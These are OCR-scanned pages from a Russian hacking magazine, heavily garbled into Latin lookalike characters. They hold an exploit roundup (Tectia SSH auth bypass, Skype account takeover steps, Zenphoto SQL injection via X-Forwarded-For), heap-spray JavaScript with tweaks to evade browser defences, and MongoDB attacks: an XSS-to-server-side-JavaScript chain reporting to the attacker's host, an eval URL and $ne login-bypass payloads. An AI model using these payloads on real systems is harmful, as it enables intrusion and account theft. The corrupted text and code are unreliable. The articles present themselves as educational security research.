HonpuTtecTnpoBaHun Ha 5.1.66 akcnnonTHe oTpaboTan.
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4 TectiaSSHUSERAUTH Change Request
Password Reset Vulnerability

CVSSV?2 .3
(111 IRR0]]

(AV:N/AC:M/Au:N/C:C/I:C/A:C)

DaTtapenusa:5 nekabps 2012
AsTop: Kingcope
CVE:2012-5975

370 npocTo BUH. Tectia—3To KoMMepyeckoe peleHne oT OpenSSH.
3KCNNONT MCMONb3YeTysA3BUMOCTb, KOTOPAs NO3BONAETYAANEHHO
cbpocuTb naponb pyTa, anocnie—asTopun3oBaTbcs besnapons.

EXPLOIT

Mpu BKNOYEHHOM pexxuMe «old-style» aBTopu3aymu cyliecTsyeTbar,
KOTOPpbIN cOpacbiBaeT NaposibyXe CO3aHHOMY 03epy 1, COOTBeT-
CTBEHHO, NO3BONIAETNOA HNM aBTOpM30BaTbCA. Ecnuucnons3yercs
«new-style» aBTopu3auus, To3al03aTb bary He npeacTaBnseTcs
BO3MOXHbIM. ABTOpM3aLLMs B UHTEPAKTUBHOM pexume, yepe3 GSSAPI
MO KJIIOYY He MO BEpXKeHa AaHHOM aTake.

TectiaServer6.0.4-6.0.20,6.1.0-6.1.12,6.2.0-6.2.51 6.3.0-6.3.2.

[locTynHo 06HOBNEHME CUCpaBlieHWEM faHHOM OWNOKM 0T MPOM3BO-
outens.

5 YroH nioboro
akKkayHtaSkype

N/A 10.0
ERRENENRN

[BRIEF|

BaToM MecsiLe ele Hennoxo norpeMena ys3aBuMocTb Ha caiite Skype,
no3BoNiAoLLan yrHaTh NI060M akKayHT, 3Has TONbKO e-mail XepTBbl.

EXPLOIT

Ha faHHbI MOMEHTyS3BMMOCTb 3aKpbiTa, Ho pa3bepeM ee. bara npu-

MeyaTesibHa TeM, YTO M3HaYaslbHO ee Mo3ULMOHNPOBaM Kak duyy:].
Skype npornoBeayeT cieAytoLLyio pefiuruio: K ofHOMY eMeinsy Mo-

KET ObITb NPUBA3aHO HECKONIBKO IOTMHOB A5 BXoAa. Miaes He camas

NyyLwas v Booble A0BOIbHO CMYTHAsA, HO UCMOb3YEM ee B CBOUX

Lensx.

1. PerucTpupyeM HOBbI aKKayHT, yKa3aB e-mail Hy)KHOro akkayHTa.

2. ABTOpPW3YyeMCS NOL NOrMHOM/NaposeM, KOTOPbIA Mbl TOSIbKO YTO yKa-
3anuHaware 1.

PoCansysssumocTtue TectiaServer

3. 3anpawwvBaemcbpoc naposis Ha caiTe ckaiina.

4. VIBOTTYTCaMblii BaXHbII MOMeHT. Ccblika 419 U3MeHeHMs napons
MPUXOAUT HE TOJIbKO HA MOYTY, HO U B CaM KJIMEHT cKaiina!

5. lMepexofnMno cchifike, KOTopas NpuLLa B cKann, u BbrBaem Mapkep
napons.

6. BbibrpaeM oCHOBHOM NOMMH A5 AaHHOW NOYTbl U MEHSIEM NapOJib.

7. AkkayHTyrHan!

Te, KTo Npob0OBaN MCNONb30BATh ITY YA3BMMOCTb, 04EHb 4ACTO
CTasKMBaNCh CTEM, YTO K HAM He MPUXOAMI MapKep napons (To ecTb
OHM KJIMKaJsIW Ha Hero, a TaM —nycTo). Hago 6b110 NpocTo Ha riaBHoi
cTpanuLe [yxe B knueHTe) ckaina HaxuMaTb F5, [oiTH o UHbbI Npo
dencbyk, 3akpbiTb ee, v TaM byneT Mapkep :).

CenyacolwmnbkancnpasneHa, Ha lare 4 Mapkep B KJIMeHT bosiblue
HE MPUXOAUT, @ NPUXOJUT TONbKO Ha MOYTY.

SOLUTION
Skype nodpukcunm bary.

6 MHoXecTBeHHbIe
ysa3suMocTu B Zenphoto

N/A N/A
ERRENENNN
N/A

DaTapenusa:3Hos6ps 2012
ABTtop: Janek Vind «waraxe»
CVE:N/A

Zenphoto—CMS, npegHa3HayeHHas LNg MybTUMe AUAHBIX CANTOB,
noAAepXunBaeTayamno-, Buaeo- v otoMaTepuansbl. Takxe ecTb
Monynb 6s10ra, HOBOCTENR, KACTOMHbIX CTPAHULL U T. M. YSI3BUMOCTH,
HalleHHble B Hell, LOBONIbHO UHTepecHbl. EcnunaTo sql-inj, To3To

He npocTas noactaHoska e POST/GET, akpadpTnapameTpos.

[EXPLOIT]
SQLINJECTION B ®YHKLIUM GETUSERIP()

function getUserIP() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return sanitize($_SERVER['HTTP_X_FORWARDED_FOR'], 0);
} else {
return sanitize($_SERVER['REMOTE_ADDR'], ©);

WTak, pasbepemcs. EcnuyctaHoBneH 3aronoBok HTTP_X_
FORWARDED_FOR (06bI4HO BbICTABAAETCA NPU UCMONIb30BaHNUK
MpOKCH-CepBepoB), To OH NpuHUMaeTcs 3a IP-agpec. AuTo c dyHKuMe
sanitize()? Ona Ham He nomexa, ee ponu:

1) pesaTbcnewu, ecav magic_quotes_gpc=on;
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2] pesatbHynn-6anTei;
3] pesatbHTML-tern.

ToecTboHanpeaHa3HayeHa A9 3aWnTbl 0T XSS. Ho Ha HyKHble
HaM kaBbluyky ans SQL-injection HMKak He BnsieT. KonaeMm fanblue:

function failed_access_blocker_adminGate($allow, $page) {

$sgl = "INSERT INTO '.prefix('plugin_storage').«

' ("type", "aux","data") VALUES ("failed_access", <
"'otime()."'"," " .getUserIP().'")";

query($sql);

count = db_count('plugin_storage',«

'"WHERE 'type'="failed_access" AND «
'data'="".getUserIP().'"");

BrinonHseTcs 3anpoc B 6a3y faHHbIX, FAe KOHKaTeHaL el NoAcTaB-
nsietcs pesynstaT dpyHkummn getUserlP(). Mbi Mmoxem nposecTu SQL-inj,
ncnonb3ysnapametp HTTP_X_FORWARDED_FOR. CkpadTuTb cBOMI
HOBbI NapaMeTp B3anpoce —nneBoe aeno! [1ns3Toro Ml MoXeM uc-
nonb30BaTbX0Tb Telnet:). Ho Bce xe noiAeM LMBUAN30BAHHLIM Ny TEM.
Hanpvmep, npunomowm agaoHa Tamper Data.

1 OTkpbiBaeMagMuH-naHens http://localhost/zenphoto1433/zp-core/
admin.php.

2. 3anyckaem Tamper data (Start Tamper).

3. lbiTaeMcs 3aN0TMHNTBCS C 1eBbIMU LaHHbIMY, Y HAC BbICKaKUBaeT
okHo Tamper Data.

4. "Tamperwithrequest?” — "Tamper" —BHefpsieMcs B3anpoc.

5. "Addelement”—X_FORWARDED_ FOR=war"axe—pnobasnsemane-

MEHT.

6. XmeM «OK» nyxe MoanduLMpoBaHHbI 3anpoc 0TNpaBiseM Ha cep-

Bep.

Kak pesynbTart, Mbl yBuauM nycTyto cTpanuuy (0K 200 response code,
contentlength 0). Ho ecnn Mbl nocmoTpum “debug.log”, Toyengum:

Backtrace: USER ERROR: MySql Error: «

( <em>INSERT INTO '[prefix]plugin_storage' «

("type", "aux","data") VALUES ("failed_access", «
"1349792737","war"axe")</em> ) failed. MySql returned the
error <em>You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for
the right syntax to use near 'axe")'

Hawa SQL-uHbekuuns :) getUser|P takoke Bbi3biBaeTcs B daiine zp-core/
zp-extensions/search_statistics.php uncnonb3yercs noxoxum 06-
pa3oMm:

static function handler($search_statistics, $type, <
$success, $dynamic, $iteration) {

$sgl = "INSERT INTO '.prefix('plugin_storage').«
' ("type", "aux","data") VALUES <

("search_statistics", "'.getUserIP().'", «
'.db_quote(serialize($store)).")";
query($sql);

M 3pecb Mbl MOXeM NpoBecTM Noxoxyto SAL-uHbekLUumio.

CNY®UHT IP

Wcnonb3ys bary dyHkumum getUserIP(], Mbl MoxeM npocTo nogme-
HATb cBOM IP roe-Hubyab B norax. Hanpumep, B daiine zp-core/zp-
extensions/security-logger.php, HasBaHue KOTOPOro rOBOPUT CaMo
3acebs, npucyTcTByeT CnefyioLnii Koa:

security_logger::Logger«
($success, $user, $name, getUserIP(), 'Back-end', <

XAKEP 01/168/2013
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e
NOAMEHMUB IP HA KAKOK-
HUBYAb BAJINAHDbIN (C TOYKH
3PEHUSA ®OPMATA) AAPEC, Mbl
HE CNAJIMMCA B CUCTEMHDIX
JIOFAX CMS (HE 3ABYAlb, UTO
ECTb ELLLE JIOTU BEB-CEPBEPA)

$auth, $pass);

security_logger::Logger«
($success, $user, $name, getUserIP(), 'Front-end', «
$athority, $pass);

security_logger::Logger«
; (false, $user, $name, getUserIP(), 'Blocked access', «
i "', $page);

security_logger::Logger«
(false, $user, $name, getUserIP(), 'Blocked album',
‘ "', $page);

§ security_logger::Logger«
(true, $user, $name, getUserIP(), 'user_'.$class, «
'zp_admin_auth', $userobj->getUser());

security_logger::Logger«
(false, $user, $name, getUserIP(), 'XSRF access «
blocked', '', $token);

security_logger::Logger«
($allow, $user, $name, getUserIP(), $action, «
'zp_admin_auth', basename($log));

security_logger::Logger«
($success, $user, $name, getUserIP(), «
'setup_'.$action, 'zp_admin_auth', $txt);

MoaMeHsasn IP Ha kKakon-HWBYAb BannaHbIA (eCTECTBEHHHO, TOIbKO
CTOYKM 3peHns dopmMaTal agpec, Mbl He CNAIMMCS B CUCTEMHBIX JTOrax
CMS (Ho He 3abbiBaeM, YTo eCTb elLe orv Beb-cepBepa, a MOXeT,
Melle YTo-HNBYab).

KcTtaTu, roBopsi 06 370 yI3BUMOCTH, Heslb3si HE BCMOMHUTb
oB3N0Me pecypca stackoverflow.com, rae cnydunr IP npusen k non-
; HOMY floCcTyny K canTy. [leno B TOM, 4To afiMMHKa caiTa bbina focTynHa
Tonbko cappeca 127.0.0.1 (localhost). M 3T0 6bI10 @ AUHCTBEHHBIM yC-
NnoBUeM AN Toro, 4tTobbl afMUHKa cTana goctynHa. Ha stackoverflow.
com nposepsinca REMOTE_ADDR, Ho koHburypauus dpoHTeHaa
Npu NpoKCUpoBaHMM 3anpoca Ha 63keH bbina HenpaBuIbHOW U pa-
‘ 6oTana cxoxumc dyHkuuen getUserlP(] obpazom. Butore yenosek
: cnyyaiiHo 3awen HacantcHTTP_X_FORWARDED_FOR=127.0.0.1
(oHUcMonb30Ban SSH-TyHHENb, @ MOC/IE KOHHEKTUIICSA K JIOKaSTbHOMY
NPOKCK-cepBepy, BOCTYN K KOTOPOMY bbIJ1 TONIbKO Cl0KanxocTa u
HTTP_X_FORWARDED_FOR nonyyancakak pa3 127.0.0.1) unonan
B afMUHKY :).

3pecbsnepeyncrini He BCe HalleHHble 6arm oTwaraxe, COBETYIO
| BTOM4MCIe 115 00pa30oBaTebHbIX LieJIel MPOYeCcTb BECh €ro pecepy,

OH AOCTYMeH Mo CCbisiKe bit.ly/SqSMPI. 32



B3JIOM

Anekcei CuHLoB (defconrussia@gmail.com)

[ WARNING|

Bcs undopmauus
npepocTaBieHa
MCK/IOYNTENBHO

B 03HaKOMUTENbHbIX
uensx.

Hu pepakuus,

HU aBTOP He HecyT
OTBETCTBEHHOCTH

3a N1060il BO3MOXHbIN
BpeA, NPUYMHEHHbIH
MaTepuanamu AaHHoOM

HEAP SPRAY:
BACKTO THE CLASSIC

EbICTPbIN JS HEAP SPRAY

Tema Heap Spray xoTb 1 He HOBa, HO KaX bl pa3 akTyasibHa. Befib UMEHHO 3Ta TeXHUKa NCMoNb3yeTcs
Ansa atak use-after-free unu BoF B Kyye, Hy 1 KOHEYHO, 3TO caMblii NPOCTOM cnocob nepefaym boesoin
Harpy3ku ona client-side akcnnonToB. Tak noYeMy e BEHA0PbLI HE MPUKPOIOT NaBoYKY? Kakume y HUX naew

N 4YTO €CTb Ha I'IpaKTVIKe?

B npownbii pa3 s paccka3sbiBan npo ucnonb3osaHue Canvas gns opra-
Hu3auuu Heap Spray. B aToT pa3 s BepHych k JS-Bepcum v paccMoTpio
MEXaHWN3Mbl 3aLUThl OT AHHON TEXHUKN.

HEAP SPRAY

B kayecTBe npumepoB s byay ucnonb3osaTth Koj xakepa Parvez

13 6nora bit.ly/Mug5éz. ins Hayana faBait paccMOTPUM Khaccuye-
ckuii kog Heap Spray, koTopbiit Parvez ncnonb3oBan 4s BaHWAbHbIX
CMJIONTOB:

<script language="JavaScript">
var calc, chunk_size, headersize, nopsled, nopsled_len;
var heap_chunks, i;
calc = unescape("%ucccckucccc");
chunk_size = 0x40000;
headersize = 0x24;
nopsled = unescape("%u@cOc%udcoc");
nopsled_len = chunk_size - (headersize + calc.length);
while (nopsled.length < nopsled_len)
nopsled += nopsled;
nopsled = nopsled.substring(@, nopsled_len);
heap_chunks = new Array();
for (1 =0 ; i< 1000 ; i++)
heap_chunks[i] = nopsled + calc;
</script>

CobcTBEeHHO NepeMeHHas calc — 3To nepeMeHHast ANS Wenn-Koaa,
chunk_size — pa3mep BbiAeNsieMoli naMa T ANt OAHOo «bioka»,
headersize — pa3mep 3arosioBka cTpaHuLbl, Nopsled — 3anonHsemas
4acTb NaMATY MEXAY Ha4anoM U Wenn-kofoM. C HeKoii BepOSITHOCTbIO
MMEHHO B 3Ty YacTb 1 Nonajan ykasaTenb A5 nepexsata ynpashne-
HUS mocne Tpurrepa ya3BuMocTu. Hy u nocnepHss 4acTb — Maccus
heap_chunks B uukne cobupancs kak nopsled + calc, npu 3tom nopsled
ObiN B NpenbiayLieM LyKe pacTaHyT fo pa3Mepa chunk_size —
headersize — calc.length, To ecTb NoYTH Ha Bclo cTpaHuuy. ITOT Nnpumep
ycnewHo pabotan B 1E6/7, Ho B IE8 ero npuwuiock HeMHOro MoguduLm-

060

pOBaTb, TaK KaK Tenepb anfoKaLus Npoucxoanna ToabKo Npy Bbi30Be
substring, a He Npy NPUCBOEHNM 371EMEHTY MacCBa KOHKaTeHaL N iBYX
CTpoK. To ecTb BeCb GMKC COCTOSN B 3aMeHe LiMKa Ha:

code=nopsled + calc;

for (1 =0 ; i < 1000 ; i++)
heap_chunks[i] = code.sunstrong(@, code.length);

TeM He MeHee, B IE9 370 yxe He paboTano. M geno TyT B HOBbIX
3alMTHbIX MexaHu3Mmax oT Heap Spray. KctaTw, B FF 310t Heap Spray
Toxe He byaeT paboTaTb No TeM Xe npuynHaM. [o3TOMy paccMOTpUM,
KaKue 3aLli1Thl CYLLEeCTBYIOT B TEOPUU W Ha MpPaKTHKe.

HEAP SPRAY PRE-ALLOCATION

J7a TexHuka ncnonb3syetca B EMET, n, no cyTu, faHHbIN MexaHU3M
npefoTBpaLiaeT BblfeNeHne 610KOB N0 M3BECTHLIM 3apaHee afjpecam.
Kak 3to paboTtaet? OueHb npocTo: EMET caM BbigenseT namaTb no no-
nynsipHbIM afpecam, 1o Toro Kak 3To caenaet Heap Spray. B utore
3aLWMTHBIA MHCTPYMEHT yCNeBaeT 3aHATb NONYNApHble MecTa paHblue,
4eM 3T0 CMOXKeET chenatb JS-koa. MUHychbl JaHHOr0 MeTO4a 04EBUS-
Hbl — €CTb eLle Kyya «HenonynspHbix» afpecos, 0 kotopbix EMET

He 3HaeT.

NOZZLE

[Npyras 3awuta — Nozzle dakTuyeckn onpefenser, 4To CoLepXUMoe
JS-cTpok MoXeT BbITb MHTEPMPETUPOBAHO KAk NoCNef0BaTeNbHOCTb
acceMbriepHbIX MHCTPYKLUiA. KpoMe Toro, BaXHO MOHWUMaTb, 4TO feTeK-
TUPOBaHWe NPOU3BOAMUTCS He Pa30BO, @ AN IPynnbl 6510KOB U yAayYHoe
[eTeKTUPOBAHME NPONCXO[MT, TOIbKO KOrAa KoNnyecTBo 6710K0B

¢ 06HapyXEeHHbIM MOA03PUTENbHBIM COAEPXKUMbIM NPEBbILIAET HEKNI
nopor. [laHHbIN METOZ XOPOLL, HO OH JOPOrOCTOALLUIA C TOYKM 3PEHUS
Harpysku, a KpoMe TOro, e/t y Hac LeN-KOof 3aKo4MpOBaH, TO acM-
WHCTPYKLMW pacrosiaraloTcs ToNbKO B Havarne (aekomep wenn-kona)

1 BO3MOXKHbI Nponycku. B 3ToM cnyyae He uckioyeHsl cutyaunn false-
positive. [MogpobHee 06 nccneposanum — bit.ly/TJtmzl.
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Heap Spray: back to the classic

Bl bigmasey P

PesynbTar cnpes
C KOHKaTeHauuen

BUBBLE

[pyras TexHuKa 3alLMTbl 0CHOBaHa Ha Toi uaee, 4to npu Heap Spray
MPOMCXOLUT BbIAEJIEHNE MAaMATW MO OAMHAKOBbIe faHHble. LLlenn-kop

1 nop_sled oauH v ToT e Bo BCex bnokax. [oaTomy npegnaraetcs
BBECTM NPOBEPKY OnpefeeHHbIX cermeHTos (6aiiTos) ¢ 6oKka nepen
Bbl[Je/IeHNeM, CpaBHMBas ¢ npeabliayLwuM. Y npu cosnageHnu ans onpe-
OeNeHHoro yucna 6,10koB (onaTh Nopor yrpo3sl) MexaHusM biokunpyet
nencTteue. [laHHbIV METOA ONATH XKE XOPOLU, HO TAaKXKe BAUSET Ha Npo-
n3BoamuTenbHocTh. CornacHo uccnenoBanuto, osepxef yaet ~5%.

Kak no namatu, Tak 1 no spemeHu. MogpobHee 06 3TN TexHMKe B TOM Xe

nccnegoBanum: bit.ly/SALh9b.
CYPOBAA MNMPAKTUKA

MoHATHO, 4To pa3paboTynku bpay3epoB He 0YeHb XOTAT BHEPSATb
«TOPMO3SiLLME» MPOBEPKU, YYNTHIBAS, YTO C HEKOTOPOI BEPOSITHOCTbIO
OHW ByRyT «CnoMaHbl», a noToMy becnonesHsbl. Tak, Heap Spray Pre-
Allocation ecTb Tonbko B EMET. Mo cnyxam, To nu Nozzle, To nu Bubble
Kak pa3 umeetcsa B bpaysepax Firefox v IE9. B3ss Haw npumep [c
substring-Mogndrkaumen), Tl MoXeLb ybeAUTLCS caM, 4TO OH He pa-
boTaer.

Mpu 3ToM pa3paboTynky bpay3epoB «MNoLCTPaX0BaNNCh» C TOYKM
3peHus opraHn3aLuv n3nuwwHen Harpysku. Tak, corelanc0d3r B ceoem
bnore onucan, 4TO MexaHN3M «BbICTPEHbKO» NPOBEPSET TONIbKO NepBble
baliTbl, u ecnu Tam bypeT paznunymne fns Hebonbluoro yncna bnokos,

To Bce OK. To eCcTb HaM [LOCTATOYHO M3MEHATb KaXAbl 6aNT B KaXK0M
HOBOM b0Ke, ¥ 3alinTa pacnafeTcs Ha Kycoyku. YTobbl 3acTaBuThb
paboTatb AaHHbIn npumep B IE9/FF, gocTaTtouHo nponatyuts ero:

code=nopsled + calc;

for (1 =0 ; i < 10000 ; i++)

{
codewithnum = padnum(i,4) + code;
heap_chunks[i] =codewithnum.substring(@, «
codewithnum.length);

}
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B UKKne

TyT padnum — 370 GyHKLMA, KOTOpas BO3BpaLLlaeT YACNO i B BUAe
yeTbipexpaspsagHoi cTpoku. To ecTb padnum(1,4) = "0001". Banans-
HbI YeTbipexpa3pagHbIi CHeTYNK. ITON MoANPUKaL MK A0CTaTOu-
HO, 4T06bl 06MaHyTb NnceBpo-Bubble B FF v IE9. CobcTBeHHO, 3Ta
nHdopmaLuna Gbina Kak y corelan’a, Tak v Ha 6nore greahathacker.
Ho Mou akcnepuMeHTbI MoKasanu, 4To 3T1 JecTBUS U30bITOYHbI. TyT
HeT Hukakoro Bubble/Nozzle Boobuie. MicTuHHas npuymnHa, noyemy
3TV MeTofbl paboTanu, He B TOM, 4TO TaM paHAoOM MW Heaccembnep-
Hble MHCTPYKLMW, @ B DaHanbHOW KOHKATeHaLMK B Linkne. To ecTb
paboTaet v Tak:

code=nopsled + calc;

for (1 =0 ; i < 10000 ; i++)

{
codewithnum = "]["+ code;
heap_chunks[i] =codewithnum.substring(e, «
codewithnum.length);

}

MonyyaeTcs, Mbl BEPHYIUCh MPAKTUYECKM K TOMY, C Yero BCe Haya-
nock. Ecnn ecTb KOHKaTEHaL s CTPOK B LMKIe, To substring Bbige-
nseT naMaTb 6e3 npobnem. HMKakux CROXHbIX anropuTMOB UM UHbIX
XUTpOCTEN.

BbIBObI

O4yeBWAHO, YTO METOAMKM 3aLLWThI 0T Heap Spray gocTaToyHo
TPYAOEMKM U CNOXHbI. 0cCOBEHHO y4nTbIBas, YTO 3TO HE KOHKPETHas
aTaka, a Lesblil KNacc TeXHUK, KOTopble MPUBOAAT K ONpefefleHHOMY
pesynbTtaty (Hanpumep, cnpeit yepes swf unn HTML5). MnasHoe npe-
MMyLLEeCTBO NpUBeAEHHON TexHWKN JS — ckopocTb. Cnpei npoxoanT

B TeYEHWe OJHOM CeKyHAbl. Ho HejoCTaTOK y AaHHOr0 METOAA TakXKe
eCTb — HEBO3MOXHO reHepupoBaTh ManeHbKne HI10KU NPOU3BONbHOTO
pa3mepa. 3T0 NPUBOJUT K TOMY, YTO laHHas TEXHMKA, KoTopas pac-
CMOTpeHa TYT, He roAMTCH AN 3KCnyaTauun use-after-free yazsumo-
cTen, rae pasMep nMeeT 3HayeHue. [lo ckopbix BcTpey! 3C

061



B3J'|OM Muxaun «cyber-punk» ®upcros, Positive Technologies (https://twitter.com/cyberpunkych, mfirstov@ptsecurity.ru)

i M

CeMyac Bce yallle v Yalle NPOrpamMMUCTbI UCMOSb3YOT
NoSQL 6a3bl faHHbIX 415 Pa3ANYHBIX MPUIOKEHWI.
MeTopnbl aTak Ha NoSQL eLLe Mano n3yyeHbl U He Tak
pacnpocTpaHeHbl, Kak 0bbl4yHble SAL-MHBEKLMK.

B paHHoM cTaTbe OyayT paccMOTpeHbl BO3MOXHbIe
BapMaHTbl aTaky Ha BeDO-MPUNOXeHWE Yepes ya3BK-
MOCTW, CBAI3aHHbIe C ncnonb3oBaHneM MongoDB.

A36YKA MONGODB

Mpexpe yeM roBopuTb 06 ya3BumocTsx B MongoDB, He Mory He pac-
cKasaTb, YTo BoobLe npepcTaBnsieT coboii aTa 6asa faHHbIx. Ee
Ha3BaHwWe ceityac 0cobeHHO Ha CyXy: eCIM NOCMOTPETb MaTepuansi

06 ycTpolicTBe beleHo NonynsipHbiX BeH-NMPOEKTOB, TO MOYTH B KaXK40M
bynet ynomutanve NoSQL 6a3 faHHbIX, 4 Yallie BCETo B 3TOM KOHTEKCTE
3By4unT UMeHHo MongoDB. Bonee Toro, uMeHHo MoHry Microsoft npeg-
naraeT UCNONb30BaTh B ee 06n1ayHoit nnaTpopme Azure B KayecTBe He-
pensLMoHHOM 6a3bl AaHHbIX — YeM He [JoKa3aTeNbCTBO, YTO CKOPO 3TOM
B/} HalipeTcs NpUMeHeHMe elle W B Cepbe3HOM KOpnopaTUBHOM codpTe?

Ecnu kpaTtko, To MongoDB — 370 4pe3BblvaiiHo Npoun3BouTeNbHan
(3a 4To, cobeTBEHHO, ee u MobaT), paclnpsiemas (nerko pasHocuT-
sl Ha HECKOJIbKO CEPBEpPOB, C/N eCTb He0BXOAUMOCTL), OTKpbITast
(4To No3BONAET KPYMHBLIM KOMNAHUAM NOACTPauBaTh ee nog cebs) 6asa
DaHHbIX, KoTopas oTHocuTcs K kaTeropun NoSQL. MocnepHee o3Ha-
4aeT, YTO B Heil HeT NoAAepXKM NpuBblYHbIX SAL-3anpocos, ogHako
OHa MOALEPKNBAET CBON CODCTBEHHbIN A3bIK 3aMpoCoB. Ecan yTouyHATL
nanee, 7o Ans xpaHeHus faHHbix MongoDB ncnonb3ayet fokyMeH-
TO-0pMEHTMPOBaHHbIA GopMaT (Ha 6ase JSON), npu 3ToM He TpebyeT
onucanus Tabnuu,.

Jioboit, KTo ckayaeT gucTpubyTne MoHru, yBUAMT ABa UCTNONHSE-
MbIx daina: Mongo u mongod. Mongod — 3To HenocpefCTBEHHO cep-
Bep 6a3bl AaHHbIX, KOTOPbIA XpaHUT faHHble U 06CNyX1BaeT 3anpochl,
a Mongo — 370 0GULMaNbHbIA KANEHT, HanucaHHblit Ha C++ 1 JS (V8).

CTABUM, CMOTPUM, NCCJIEQYEM

He byny ocTaHaBnuBaTbCA Ha baHanbHOCTAX Bpofe ycTaHoBKU Bl —
pa3paboTuynku fenaioT BCe, 4T0ObI BCe ObIN0 NErko NOLHATL, faxe

He obpalasch k MaHyanam. lNepeiiem cpasy K TOMy, 4To NOKa3anochb
MHe [eiCTBUTENIbHO MHTepeCHbIM. [TepBas cocTaBasioLas, KoTopas
MeHs 3auHTepecoBana, — 370 REST-untepdeiic. OH npepcTasnser
coboii Beb-nHTEpdeiic, KOTopbI 3anycKaeTcs MO yMONYaHUIo Ha NOpTY
28017 n no3BonseT agMUHUCTPaATOPY YNpaBNsiTb CBOMMM Ha3aMu faH-
HbIX yaaNeHHo Yepe3 bpay3ep. HeMHoro nopaboTaBs ¢ 3TUM QyHKLMOHA-
nom CYB[], s Hawen cpa3y HeCKOMIbKO YS3BUMOCTEN — 1B XpaHUMble
XSS, HepfokyMeHTMpoBaHHoe ucnonHerne SSJS (Server Side Java
Script) koga v MHoxecTBeHHble CSRF. 3To MeHst auko noszabasuro,

W 51 PELUVS He 0CTaHaBANBATLCS Ha AOCTUTHYTOM :). Kak BbIrnaanT aTot
camblit REST-uHTepdeiic, Tbl MoXellb yBUAETb Ha puc. 1.
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CULEHAPUU ATAKM
HA NOSQL BA3Y
AAHHbIX

NCKNIOYUTENBHO
B 03HAKOMUTENbHBIX
uensx.

Hu pepakuus,

HV aBTOp He HecyT
OTBETCTBEHHOCTU
3a/11060i1 BO3MOXHbIA
Bpef, NPUYNHEHHBINA
MaTepuanami AaHHOM
cTaTbu.

Roknan

Zen0

Bcsi uHpopMauus
npepocTaBneHa

Pacckaxy HeMHoro nofpobHen o HalAeHHbIX ya3BUMOCTSX. [iBe
xpaHumMble XSS npucyTtcTtaytoT B nonsx Clients u Log. 370 3HauuT,
4TO ecnn npoBecTH Ntoboii 3anpoc k B[], B KOTOPOM y Hac ecTb
HTML-Koa, To OH 3anuLueTcs B UCXOAHBIN Ko cTpaHuubl REST-
WHTepdelica M UCMONHNUTCA B bpay3epe Toro, KTo TyAa 3aiaerT.

Ha ocHoBe 3TWX ys13BMMOCTE MOXHO NPOBECTYM aTaky no cnepyo-
weii cxeme (puc. 2):

1. Mocbinaem 3anpoc ¢ Terom SCRIPT n agpecom Hawero JS-ckpunTa.
2. ALMUHMCTpaTOp oTKpbiBaeT bpaysepoM Beb-uHTepdeiic, n Haw JS-

KoL, UCMOJIHAeTCA B ero bpaysepe.

3. Yepes JSONP ckpunT 3anpaluvBaeT ¢ Hallero yaaaeHHoro cepeepa

KOMaH/bl Ha UCMONHEHWe.

4. Tlonyyns KOMaHAY, OH UCMOSHSAET ee, UCMOJb3Ys HEJ0KYMEHTUPO-

BaHHOe ncnonHeHune SSJS-kopa.

5. PesynbTaT vcnosHEHUs O0TCbINAETCS Ha Hall yAaNeHHbIN X0CT,

Ha KOTOPOM OH 3anucbiBaeTCs B JIOT.

Y70 Ke KacaeTCs HeAOKYMEHTUPOBAHHOrO ucnoaHenuna SSJS-kopa,
s Habpocan fns Tebs HeboNbLION KOHLENT, KOTOPbIA MOXHO pacLmn-
pUTH MO CBOEMY YCMOTPEHMIO:

http://vuln-host:28017/admin/$cmd/?filter_eval=«—
function(){ return db.version() }&limit=1

B aTom npumepe (puc. 3) $cmd — 370 HejoKyMeHTUpOBaHHas
GYHKLMS, HO MbI-TO TeMepb 3HaeM... )

NIPAEM C IPAVBEPOM
Kak n3BecTtHo, Ans Toro 4ytobbl pabotaTh ¢ noboit cepbesHon b/
3 CKPUNTOBBIX f3bIKOB, Hanpumep PHP, Heobxoaunmo umeTs Apaiisep
370l camoii B[], KoTopbl ByAeT CAyXuTb TpaHCMOPTOM. A pelunn paso-
BpaTbcs ¢ 3TUMK cambiMu ApanBepamu ang MongoDB v He cTan TyT
OpurMHanbHW4aTh, BbibpaB gpanBep B noctaske PHP.

[TpeanonoXxmm, 4To eCcTb NOSIHOCTbIO HACTPOEHHLIN cepBep
c Apache + PHP + MongoDB 1 ysizBuMbIil ckpunT. Huxe nprsegeHbl
OCHOBHble dparMeHThbl JaHHOT0 CKpUnTa:

$q = array("name" => $_GET['login'], "password" => «
$_GET[ 'password']);
$cursor = $collection->findOne($q);

Mocne nonyyeHns faHHbIX CKpUNT genaet 3anpoc kK 5[] MongoDB.

Ecnun paHHble BEepHble, TO B OTBET OH NMoJiy4aeT MacCuB C BbIBOLOM
LAHHbLIX 3TOr0 N0Nb30BaTeENA U BLIBOOWT €ro B TAaKOM BUAE:

echo 'Name: . $cursor['name'];
echo 'Password: ' . $cursor['password'];

I'Ipe,u,noanMM, 4TO €My OTNPaBUN BOT TaKNe NapaMeTpbl [true]:

?login=admin&password=pa77word
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Ynap no MongoDB
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Puc. 1. HenpuMeTHbii REST-unTepdeiic

Torpa 3anpoc k base byneT BbirnsageTb cnefytowmnm obpasom:

db.items.findOne({"name" :"admin", "password" : <
"pa77word"})

Tak Kak B base cywjectsyeT nonb3osaTesnb admin ¢ naponem pa77w0rd,
TO B OTBET BbIBOASATCS €ro AaHHble (true). Ecnvi e nogcTasuTs apyroe
MMS K Naposib, TO 3aMpoc Huyero He BepHer (false).

B MongoDB ecTb ycnoBwns, KOTOpbIe aHanorn4Hbl NpUBbIYHOMY
where, 3a CKJIOYEHUEM HEKOTOPbLIX Pa3/iMynii B CMHTaKcuce. Tak,
4TObbI BbIBECTU U3 TabNULbI C MEHEM items 3anucy, y KoTopbix hame
He paBHO admin, HYXXHO HanNucaTb chefyloLiee:
db.items.find({"name" :{$ne : "admin"}})

A nymato, y Tebsi yxxe nosiBUMACh MLEs, Kak TaKyto KOHCTPYKLMIO MOX-
Ho 06MaHyTb. Ha si3bike PHP focTaToyHo nofcTaBuTh eLLe 0fiMH MaccuBs,
4TobbI BCTABUTB €70 B ApYroii, KOTopbiii oTnpaBnseTcs dyHkumei findOne.

lMepexonum oT Teopuu K npakTuke. [lns Havyana co3gafnM 3anpoc,
Bblbopka KoToporo byneT yaoBneTBOPATh CAefyOLMM YCIIOBUSM: 3HaYe-
Hue password He byaeT paBHo 1, a user bypet admin:

db.items.findOne({"name" :"admin",
"password" : {$ne : "1"}})

B oTBeT npuxoaut nHbopMaLmMsa 06 ynoMaHyTON yueTHON 3anucu:

{
